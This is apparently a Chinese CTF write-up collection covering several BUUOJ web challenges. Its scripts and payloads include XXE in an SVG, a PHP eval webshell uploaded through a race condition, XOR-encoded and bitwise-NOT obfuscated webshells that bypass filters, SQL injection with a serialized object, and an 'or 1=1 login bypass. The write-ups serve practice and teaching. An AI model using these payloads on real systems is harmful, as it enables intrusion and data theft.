打开controllers进行审计,可以发现basecontrollers中,有文件包含,那么我看看这个viewData是用extract() 函数从数组中将变量导入到当前的符号表。如果可以控制这个viewdata,那么就可以实现变量覆盖了

class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

而这个load方法只在user里面看到,并且listDAT是有request获得的
img

去userIndex里面查看一下这里的变量是img_file
img
理一下思路,我们可以使用extract需要变量覆盖,传入的值是也是可控的,用request,所以构造payload,首先我们得先到user这个路由这里

img 不过对于这个传值还是想研究一下,所以在phpstorm里面断点调试一下 img 为什么要是img,因为后面是这个变量的内容会回显在网页上,也就是这个图片

[BSidesCF 2019]SVGMagic

题目说将svg转为png,svg是用xml格式定义的图像,推测是xxe注入
img

在本地先编写一个svg文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg width="2000" height="100">
<text x="100" y="100">&file;</text>
</svg>

然后将其上传即可img

[DDCTF 2019]homebrew event loop

python源码审计

将event写入session函数

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

有三个points,0个num_items,但是不清楚有什么是写在session中的
img

这里num_items要大于等于5 flag就会被写入session
img

如果我们可以先买钻石,然后让flag被写入session中,然后再扣费,那就可以实现num_items大于等于5,可以看到这里有一个eval函数:
img

因为eval函数后面的参数可控所以

action:trigger_event%23;action:buy;5%23action:get_flag;

然后使用flask-session-manager-master解密session
img
即可获得flag
img

buu23

[RoarCTF 2019]Simple Upload

开头源码

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

尝试了一下其他后缀名上传,发现无法被解析成功,所以看到这个upload()函数,以及对应的防护机制,猜测可以使用条件竞争绕过,写先一下脚本

thinkphp默认上传路径为:
/home/index/upload
所以有

import requests
url="http://5ff85f06-6397-4b0b-9dc6-362da72c71bb.node4.buuoj.cn/index.php/home/index/upload"
s=requests.session()
files={'file':("1.txt","")}
files1={'file':("1.php","<?php eval($_GET['a']); ?>)")}
r=s.post(url,files=files).text
print(r)
r=s.post(url,files=files1).text
print(r)
r=s.post(url,files=files).text
print(r)

{"url":"\/Public\/Uploads\/2021-07-24\/60fbd50e4d0f4.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2021-07-24\/60fbd50e61127.txt","success":1}

接下来就是去爆破一下这个文件名

60fbd50e61127
60fbd50e4d0f4
import requests
url="http://5ff85f06-6397-4b0b-9dc6-362da72c71bb.node4.buuoj.cn/Public/Uploads/2021-07-24/"
# files={'file':("1.txt","")}
# files1={'file[]':("1.php","<?php eval($_GET['a']); ?>)")}
# r=s.post(url,files=files).text
# print(r)
# r=s.post(url,files=files1).text
# print(r)
# r=s.post(url,files=files).text
# print(r)
str='0123456789abcdef'
for i in str:
for j in str:
for f in str:
for k in str:
for o in str:
url_fina=url+f"60fbd50e{i}{j}{f}{k}{o}.php"
try:
r=requests.get(url,timeout=1)
except:
continue
if r.status_code!=404:
print(url_fina)
break

但是现在buu的防止太多请求太严了–一直跑不出来

[HarekazeCTF2019]Avatar Uploader 1

忘保存了,没了很难受,大概就是照一张256像素一下的图片,然后将图片内容改为这一行因为那两个解析函数的解析方式在这里不同

img

[ISITDTU 2019]EasyPHP

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

正则进行匹配过滤,匹配00到空格()的字符,0到9的数字、"$&.,|[{_defgops以及DEL(7f)字符。如果你提交的字符串出现上述字符,die。第二个if表示我们提交的字符串一共不能出现多于13种不同的字符
使用此网站可以进行正则匹配的调试
https://regex101.com/
所以它允许出现的字符可以如下

!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~

我们后面的eval肯定是要执行函数的,所以我们可以fuzz一下哪些函数没被过滤,从而来看看有没有实现rce的可能,用php写个脚本

<?php
$array=get_defined_functions();
foreach($array['internal'] as $arr){
if(preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i',$arr))continue;
if(strlen(count_chars(strtolower($arr),0x3))>0xd)continue;
var_dump($arr.'<br/>')
}

但是得到的函数却和读取文件啥的没有关系–,所以继续往下看看
其实以前也做过很多这种类似题特征是
1.过滤了很多字符
2.有些运算字符没有被过滤
那么这就意味着我们可以通过运算来取字符,比如说^运算然后去构造我们需要的字符
payloadtest:

(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)();//分号和括号是因为这个要放到eval里面执行,是必不可少的语法要求
image-20210725220736235

接下来看看这个配置里面有什么能用的信息不
首先disable_function中的函数有很多都被禁了,然后它可以访问的目录也只限制在/html目录下,那么根据以往的经验,大概是要scandir等函数看一下当前目录下的内容了
img
img
我们构造一下语句然后去找一下字符

print_r(scandir('.'));

还是之前的那个脚本

import urllib.parse
find = ['p','r','i','_','n','t','s','c','a','d','r','.']
for i in range(0,256):
for j in range(0,256):
result=chr(i^j)
if(result in find):
a= i.to_bytes(1,byteorder='little')
b= j.to_bytes(1,byteorder='little')
#print(a,b)
a= urllib.parse.quote(a)
b= urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

但是这样运算出来的字符我们随便选取就会大于十三个了,要绕过这个,我们就要想想看如何缩减?

((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

其实运用一种套娃的思想即可,这些字符里面的字符肯定可以由其他字符再异或构成的,所以我们这里就将所有异或字符先列出,想在上面的代码进行改编一下,直接一步到位
但是我发现似乎不太行。还不如我直接取完再送进去对每个字符重新异或

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

对结果进行整理一下,发现:

((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
img 拿到flag所在文件。最后构造一下,因为flag在最后一个位置,所以可以直接用end进行获取
((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

buu22

[MRCTF2020]Ezaudit

随手试了一下www.zip==又有源码了,

前面就是登陆啥啥啥的,看了一下关键是要有private_key,所以看了一下下面的代码,使用mt_rand构造的公钥和私钥,所以只要我们获得随机数种子就行了

img

和buu14里面的题目一样的,不过最后要到login.html进行登录,密码可以用万能钥匙’or 1=1’1
这里有个大坑,以前没有注意过
img

这里要求php的版本是要在5.2.1到7.0.x之间的,不然出来的秘钥是不匹配的

[GXYCTF2019]StrongestMind

计算成功1000次看起来是要写个脚本
改天一定要学学算法,感觉自己写的代码都好冗长,可以去世了,测试是可以的,但是由于现在buu限制了,一下子发送太多请求直接500了,服惹弄了时间间隔也没用,so下一题了

import requests
import re
import time
url="http://e96f1fb4-3b45-487a-ada1-2465e38d9be2.node4.buuoj.cn/"
s=requests.session()
r = s.post(url=url).text
r1=''
for i in range(0,10000):
if i!=0:
r=r1
answer1=re.compile(r'<br><br>\d{8}',re.S).findall(r)[0].replace('<br><br>','')
answer2=re.compile(r'\d{8}<br><br>',re.S).findall(r)[0].replace('<br><br>','')
sign=re.compile(r' \W ',re.S).findall(r)[0].replace(' ','')
answer1=float(answer1)
answer2=float(answer2)
if '+' == sign:
fina_answer=answer1+answer2
else:
fina_answer = answer1-answer2
data={
"answer":fina_answer
}
r1 = s.post(url=url, data=data).text
#print(r1)
print('*'*25)
if "bingo!" in r1:
print(i)
time.sleep(0.5)

[安洵杯 2019]不是文件上传

前置知识

做题过程中遇到不熟悉的知识点写在前面比较好

php—foreach理解

<?php

$arr = [1, 2, 3, 4];
foreach($arr as &$value) {
$value = $value * 2;
}

// $arr is now [2, 4, 6, 8]
unset($value); // 最后取消掉引用
<?php
$arr = [1, 2, 3];

foreach ($arr as $k => &$v) {
$v = $v * 2;
}
//$arr=2 4 6

原题目有文件泄露所以直接上github下载一下源码
然后开始审计~:
在helper.php中看到一处序列化,其中这个my_ext是图片的大小,即宽度和高度
img

getfile()方法,存在check机制
img

严格的白名单检测机制,因为
strrchr() 函数
(在php中)查找字符在指定字符串中从右面开始的第一次出现的位置,
img
这里有个文件读取,但是path似乎被写死了,暂时还没找到利用点img
继续看一下其他文件,在show.php中看到了显示文件的代码,对attr_temp的内容进行反序列化,前面对它是进行了序列化的
img

解题思路

题目给了反序列化,但是没看到一些有用的跳板,感觉是要结合数据库进行攻击,最后利用file_get_contents得到flag,但是感觉对于那些值可控有点茫然,所以决定传值跟一下
首先是数据库配置:

create database pic_base
img img

可以发现文件名是可控的并且最后是attr参与反序列化,注意到又包含了helper.php,所以感觉是可以进行config值的更改的
img

所以思路如下:

首先构造反序列化对config重新赋值,然后通过sql注入使本来应该title的序列化语句跑到attr字段,然后通过访问该图片,即可获得flag
构造反序列化语句

class helper{
protected $ifview=True;
protected $config="/flag";
}
$a=new helper();
echo bin2hex(serialize($a);

然后由于这个是protectedimg

并且题目中对*号做了处理,所以我们对其进行十六进制加密就行了
img

0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

然后构造sql注入语句,抓包改文件名

1','1','1','1','0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d')#
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('12','534b340ce39e1079.jpg','jpg','pic/534b340ce39e1079.jpg','a:2:{s:5:"width";i:969;s:6:"height";i:335;}')

成功插入img
获得flag
img

[SUCTF 2018]GetShell

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

看源码,他除了源码的前五位不检查,其他都会和黑名单比对,但是我们不知道过滤了啥,所以需要fuzz一下,顺便学习一下如何编写文件上传的脚本

import requests
url =r"http://c86c138f-b79c-45a8-9f85-6841c06aafcc.node4.buuoj.cn/index.php?act=upload"
s=requests.session()
headers = s.get(url).headers
def upload_post(url):
str_list=[]
for i in range(33,127):
str_list.append(chr(i))
for str in str_list:
file_post=f"""
-----------------------------380760932532682480232707439734
Content-Disposition: form-data; name="file"; filename="屏幕截图(3).png"
Content-Type: image/png

12345{str}
-----------------------------380760932532682480232707439734
Content-Disposition: form-data; name="submit"

提交
-----------------------------380760932532682480232707439734--
"""
r=s.post(url,headers=headers,data=file_post.encode('UTF-8'))
print(r.text)
if 'Stored' in r.text:
print("该字符可以通过: {0}".format(str))
else:
print("过滤字符: {0}".format(str))
if __name__ == '__main__':
upload_post(url)

经过测试可以通过的字符有:$().;=[]_~,然后就是汉字了
接下里的思路就是思考一下如何构造马去进行上传,如何通过现有字符构造出被过滤的字符,用得一般就是异或操作或者取反,但是异或符号被过滤了,所以这里就用取反去构造

<?php
$__ = [];
$_ = ($__ == $__);//$_ = 1

$__ = ~(融);
$___ = $__[$_];
print($___);//输出a

通过以上方法我们可以构造出我们需要的字母,接下来写一个fuzz脚本:

<?php
error_reporting(0);
header('Content-Type: text/html;charset=utf-8');
function str_split_unicode($str,$l=0){
if($l>0){
$ret=array();
$len=mb_strlen($str,'UTF-8');//mb_strlen获取长度
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);//preg_split — 通过一个正则表达式分隔字符串,返回汉字
}

$s = '放你的汉字要多一点才行';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}

接下来构造马:

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
POST:
a=env

然后访问环境变量就可以看到flag了,为啥是环境变量=-=,好像是题目出了问题,本来在根目录的,